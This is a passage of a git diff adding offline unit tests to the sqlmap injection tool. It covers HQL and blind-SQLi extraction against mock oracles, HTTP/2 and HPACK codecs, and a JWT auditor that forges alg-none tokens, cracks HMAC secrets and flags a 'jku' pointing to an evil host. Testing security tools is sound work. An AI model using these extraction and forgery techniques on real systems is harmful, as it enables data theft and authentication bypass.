    " + return "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) # ...but the battery no longer uses casts + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) + value = str(record.get(attr, "")) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + def test_infer_inconclusive_aborts_value(self): + """A truth() that stays INCONCLUSIVE must abort the value (return None) rather than emit a + length/char chosen from an ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + def inconclusiveTruth(predicate): + raise InconclusiveError() + + self.assertIsNone(hql._inferValue(inconclusiveTruth, "Member", "name", "id")) + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + value = str(rec.get(m.group(1), "")) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 00000000000..7c762648176 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in +lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer / +Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table), +and the urllib-compatible H2Response wrapper. + +Nothing here opens a socket or negotiates TLS - only the deterministic codecs and +the response adapter are exercised. Known vectors are the canonical RFC 7541 +examples; everything else is a round-trip / invariant check. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.http2 import ( + Decoder, + Encoder, + H2Response, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, +) + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class TestFrameCodec(unittest.TestCase): + def test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id must be dropped on both ends + header = encode_frame(DATA, 0, 0x80000001, b"")[:9] + self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1)) + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(ValueError): + huffman_decode(_b(0xFE)) + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py new file mode 100644 index 00000000000..39a97f06625 --- /dev/null +++ b/tests/test_identifiers_output.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Identifier quoting per DBMS dialect, CSV value escaping, and dump value +replacement markers. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue +from lib.core.enums import DBMS + + +class TestIdentifierQuoting(unittest.TestCase): + # special-char identifier -> the per-dialect quoting wrapper + WRAP = { + DBMS.MYSQL: "`weird name`", + DBMS.MSSQL: "[weird name]", + DBMS.PGSQL: '"weird name"', + DBMS.ORACLE: '"WEIRD NAME"', # Oracle upper-cases quoted identifiers + } + + def test_special_identifier_quoting(self): + for dbms, wrapped in self.WRAP.items(): + set_dbms(dbms) + self.assertEqual(safeSQLIdentificatorNaming("weird name"), wrapped, msg=str(dbms)) + + def test_simple_identifier_roundtrip(self): + # plain identifier needs no quoting; round-trips identically on case-preserving dialects + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + for ident in ("users", "password", "tbl1"): + self.assertEqual(safeSQLIdentificatorNaming(ident), ident, msg="%s %r" % (dbms, ident)) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(ident)), ident) + + def test_oracle_uppercases_on_unsafe(self): + # documented dialect quirk: Oracle unsafe-naming upper-cases identifiers + set_dbms(DBMS.ORACLE) + self.assertEqual(safeSQLIdentificatorNaming("users"), "users") + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("users")), "USERS") + + def test_unsafe_strips_quotes(self): + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("weird name")), "weird name") + + +class TestSafeCSValue(unittest.TestCase): + CASES = [ + ("foobar", "foobar"), # plain -> unchanged + ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted + ('he"y', '"he""y"'), # contains quote -> doubled + wrapped + ("a\nb", '"a\nb"'), # contains newline -> quoted + ('"a","b"', '"""a"",""b"""'), # value that begins+ends with a quote must STILL be escaped + ('"', '""""'), # lone quote -> doubled + wrapped + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) + + def test_csv_roundtrip(self): + # the real invariant: a dumped cell must come back as exactly ONE field with its original + # content (a value that begins+ends with '"' must not be emitted verbatim - that splits it) + import csv + for value in ("foobar", "foo,bar", 'he"y', '"a","b"', '"', 'a"b"c'): + line = safeCSValue(value) + fields = next(csv.reader([line])) # csv.reader accepts any iterable of text lines (py2+py3) + self.assertEqual(fields, [value], msg="round-trip failed for %r -> %r" % (value, line)) + + +# (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py new file mode 100644 index 00000000000..c41ba08eb18 --- /dev/null +++ b/tests/test_inference_engine.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The blind-SQLi extraction engine (lib/techniques/blind/inference.py bisection). + +This is the actual algorithm that pulls data out one character at a time over a +boolean/blind oracle - the heart of sqlmap. It is normally network-coupled, so +here we drive the REAL bisection() against a mock oracle: Request.queryPage is +replaced with a function that decodes the forged payload (we control the payload +template, so it is trivially parseable) and answers the comparison against a +known secret. If bisection's binary search, charset narrowing, or value assembly +regress, these go red - without a live target. + +Also asserts the search is logarithmic (binary search), not a linear scan of the +character space. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# bisection does: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). We pass a parseable +# template so the mock oracle can recover (idx, operator, threshold). +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False} + + +class _EngineCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + self._saved_counters = kb.get("counters") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + # getCounter()/kb.counters is a cumulative per-technique query tally; reset it so each test + # measures only its own extraction (bisection returns the absolute counter, not a per-call delta) + kb.counters = {} + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + kb.counters = self._saved_counters + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _extract(self, secret, charsetType=None): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=charsetType) + return value, count + + +class TestBisectionExtraction(_EngineCase): + # NOTE: the alpha / numeric / mixed cases are NOT redundant - getChar has per-class + # "first character" position heuristics (distinct branches for a-z, A-Z and 0-9 at + # inference.py ~331-336), so each character class exercises a different code path. + def test_single_char(self): + value, _ = self._extract("X") + self.assertEqual(value, "X") + + def test_alpha(self): + value, _ = self._extract("AdminUser") # exercises the a-z / A-Z heuristic branch + self.assertEqual(value, "AdminUser") + + def test_alphanumeric(self): + value, _ = self._extract("admin123") + self.assertEqual(value, "admin123") + + def test_with_spaces_and_symbols(self): + value, _ = self._extract("p@ss W0rd!") + self.assertEqual(value, "p@ss W0rd!") + + def test_numeric_string(self): + value, _ = self._extract("4815162342") # exercises the 0-9 heuristic branch + self.assertEqual(value, "4815162342") + + def test_longer_value(self): + secret = "The quick brown fox 0123456789" + value, _ = self._extract(secret) + self.assertEqual(value, secret) + + +class TestUnicodeExpansion(_EngineCase): + """charsetType=None starts with a 0..127 table and gradually expands it (shiftTable) to + reach higher code points. This test exercises the FIRST expansion step (code points + 128..1023) via Latin-1 chars, where the per-byte oracle model is exact. + + NOTE: kb.disableShiftTable is an INTENTIONAL session-level safety latch (sqlmap author's + design): once expansion runs all the way to the top - only reachable by a code point above + 0xFFFFF, or by a misbehaving always-TRUE oracle - it disables further expansion to prevent + runaway / erroneous extraction. That is deliberate, so this test does NOT assert that + expansion survives across such an event. + + (Code points >= 256 are retrieved/assembled byte-wise in real runs - decodeIntToUnicode + splits them into a byte sequence - so a simple ord()-based mock oracle only models the + single-byte range; those are out of scope here.)""" + + def test_extracts_latin1_via_first_expansion(self): + for s in (u"caf\xe9", u"\xfcber", u"ni\xf1o", u"\xe9\xe8\xea\xeb"): + self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) + + +class TestMysqlMultibyteExpansion(_EngineCase): + """Regression guard for the shiftTable expansion ceiling (getChar, inference.py ~671). + + MySQL's ORD() returns the byte-composite integer of a multibyte UTF-8 character (e.g. CJK + U+4E2D -> UTF-8 E4 B8 AD -> 0xE4B8AD = 14989485), and decodeIntToUnicode reconstructs the + character back from that integer. The gradual unicode expansion must therefore be able to + reach MySQL's full 3-byte ORD range (up to 0xEFBFBF = 15728575). A table whose ceiling + stops below that (as [2, 2, 3, 3, 3] did, ceiling 0xFFFFF = 1048575) silently truncates or + garbles every CJK and non-Latin >= U+0800 value on the most common DBMS - see issue #5171. + + Unlike TestUnicodeExpansion (which models a single-byte oracle via ord()), this oracle + models MySQL ORD() as the char's UTF-8 bytes read big-endian, exercising the real high + code-point path end to end.""" + + def _extract_ord(self, secret): + def mysql_ord(ch): + value = 0 + for octet in bytearray(ch.encode("utf-8")): + value = (value << 8) | octet + return value + + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = mysql_ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=None) + return value, count + + def test_extracts_3byte_cjk(self): + # U+4E2D/U+6587 are CJK; each returned None (truncation) / '?' under the regressed ceiling + for s in (u"\u4e2d", u"\u4e2d\u6587", u"A\u4e2dZ", u"\u4e2d123"): + self.assertEqual(self._extract_ord(s)[0], s, msg="3-byte extraction failed for %r" % s) + + def test_extracts_near_max_3byte(self): + # U+FFFD -> UTF-8 EF BF BD -> ORD 0xEFBFBD, just under the 0xEFBFBF 3-byte ceiling + self.assertEqual(self._extract_ord(u"\ufffd")[0], u"\ufffd") + + def test_2byte_still_extracts(self): + # guard: raising the ceiling must not disturb the (unchanged) 2-byte path + self.assertEqual(self._extract_ord(u"caf\xe9")[0], u"caf\xe9") + + +class TestSearchIsLogarithmic(_EngineCase): + def test_query_count_is_sublinear_in_charset(self): + # GOAL: catch a regression from binary search to a linear/per-codepoint scan. + # Observed cost is ~6-22 queries/char (it varies: the first-char heuristic's benefit + # depends on ambient kb/conf state, so a tighter bound would flake). A linear scan of the + # 128-char ASCII space would be ~128/char (~3840 for 30 chars). Bound at 40/char cleanly + # separates "logarithmic" (passes) from "linearized" (fails) without being flaky. + secret = "x" * 30 + _, count = self._extract(secret) + self.assertLess(count, len(secret) * 40, + msg="bisection used %d queries for %d chars (~%.1f/char) - search regressed toward linear?" + % (count, len(secret), count / float(len(secret)))) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_jwt.py b/tests/test_jwt.py new file mode 100644 index 00000000000..31d0cf66859 --- /dev/null +++ b/tests/test_jwt.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the JWT auditor: the dependency-free codec/crypto helpers in lib/utils/jwt.py +(parse/forge/crack/audit/detect) and the active scan engine in lib/techniques/jwt/inject.py +(acceptance oracle, forgery confirmation, kid/claim SQL-injection probe). The engine is driven against +a mock server by monkeypatching the transport, so the whole feature is validated deterministically on +Python 2.7 / 3.x with no network. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import findJWTs +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import parseJWT +import lib.techniques.jwt.inject as inject + + +class JWTUtilsTest(unittest.TestCase): + def test_parse_roundtrip(self): + token = forgeJWT({"alg": "HS256", "typ": "JWT"}, {"user": "admin", "role": "user"}, key="secret") + data = parseJWT(token) + self.assertEqual(data["header"]["alg"], "HS256") + self.assertEqual(data["payload"]["user"], "admin") + + def test_parse_rejects_non_jwt(self): + for value in ("", "a.b", "a.b.c.d", "not.a.jwt", "eyJx.eyJx"): + self.assertIsNone(parseJWT(value)) + + def test_forge_none_is_unsigned(self): + token = forgeJWT({"alg": "none"}, {"user": "admin"}) + self.assertTrue(token.endswith(".")) + self.assertEqual(parseJWT(token)["signature"], "") + + def test_crack_hmac_secret(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + self.assertEqual(crackHMAC(token, ["a", "s3cr3t", "b"]), "s3cr3t") + self.assertIsNone(crackHMAC(token, ["a", "b"])) + self.assertIsNone(crackHMAC(token, ["s3cr3t"], limit=0)) # limit reached before the hit + + def test_crack_ignores_non_hmac(self): + self.assertIsNone(crackHMAC("eyJhbGciOiJSUzI1NiJ9.eyJ1IjoxfQ.AAAA", ["secret"])) + + def test_audit_flags(self): + ids = set(_[0] for _ in auditJWT(forgeJWT({"alg": "none"}, {"user": "admin"}))) + self.assertIn("alg-none", ids) + self.assertIn("no-expiry", ids) + + def test_audit_weak_secret_and_headers(self): + token = forgeJWT({"alg": "HS256", "kid": "1", "jku": "https://evil/x"}, {"user": "admin", "exp": 9999999999}, key="secret") + ids = set(_[0] for _ in auditJWT(token, secrets=["secret"])) + self.assertIn("weak-hmac-secret", ids) + self.assertIn("header-key-injection", ids) + self.assertIn("kid-injection", ids) + + def test_find_jwts_in_blob(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret") + blob = "session=abc; auth=%s; theme=dark" % token + self.assertEqual(findJWTs(blob), [token]) + self.assertEqual(findJWTs("no tokens here"), []) + + +class _MockServer(object): + """A trivial JWT-consuming endpoint. `verify` decides how strict it is; `sink` optionally reflects + a component (kid / a claim) into a fake SQL error, modelling an injectable key/claim lookup.""" + + OK = "welcome back, admin. secret area." + DENY = "access denied. please log in." + NOROW = "no matching record found." + SQLERR = "SQL syntax error near unclosed quotation mark" + + def __init__(self, secret=None, acceptNone=False, verifySig=True, sink=None, alwaysError=False, dynamic=False): + self.secret = secret + self.acceptNone = acceptNone + self.verifySig = verifySig + self.sink = sink # ("kid",)/("claim", name) string quote-sink, or ("numclaim", name) numeric sink + self.alwaysError = alwaysError # H2: page ALWAYS carries SQL-error text (must not be read as injection) + self.dynamic = dynamic # H3: response changes every hit (must not yield a boolean verdict) + self._tick = 0 + + def _wrap(self, page): + if self.dynamic: + self._tick += 1 + return "%s" % (page, self._tick) + return page + + def respond(self, token): + if self.alwaysError: + return self._wrap(self.SQLERR) + + data = parseJWT(token) + if not data: + return self._wrap(self.DENY) + + if self.sink is not None: + reflected = data["header"].get("kid") if self.sink[0] == "kid" else (data["payload"].get(self.sink[1]) if isinstance(data["payload"], dict) else None) + reflected = "" if reflected is None else str(reflected) + if self.sink[0] in 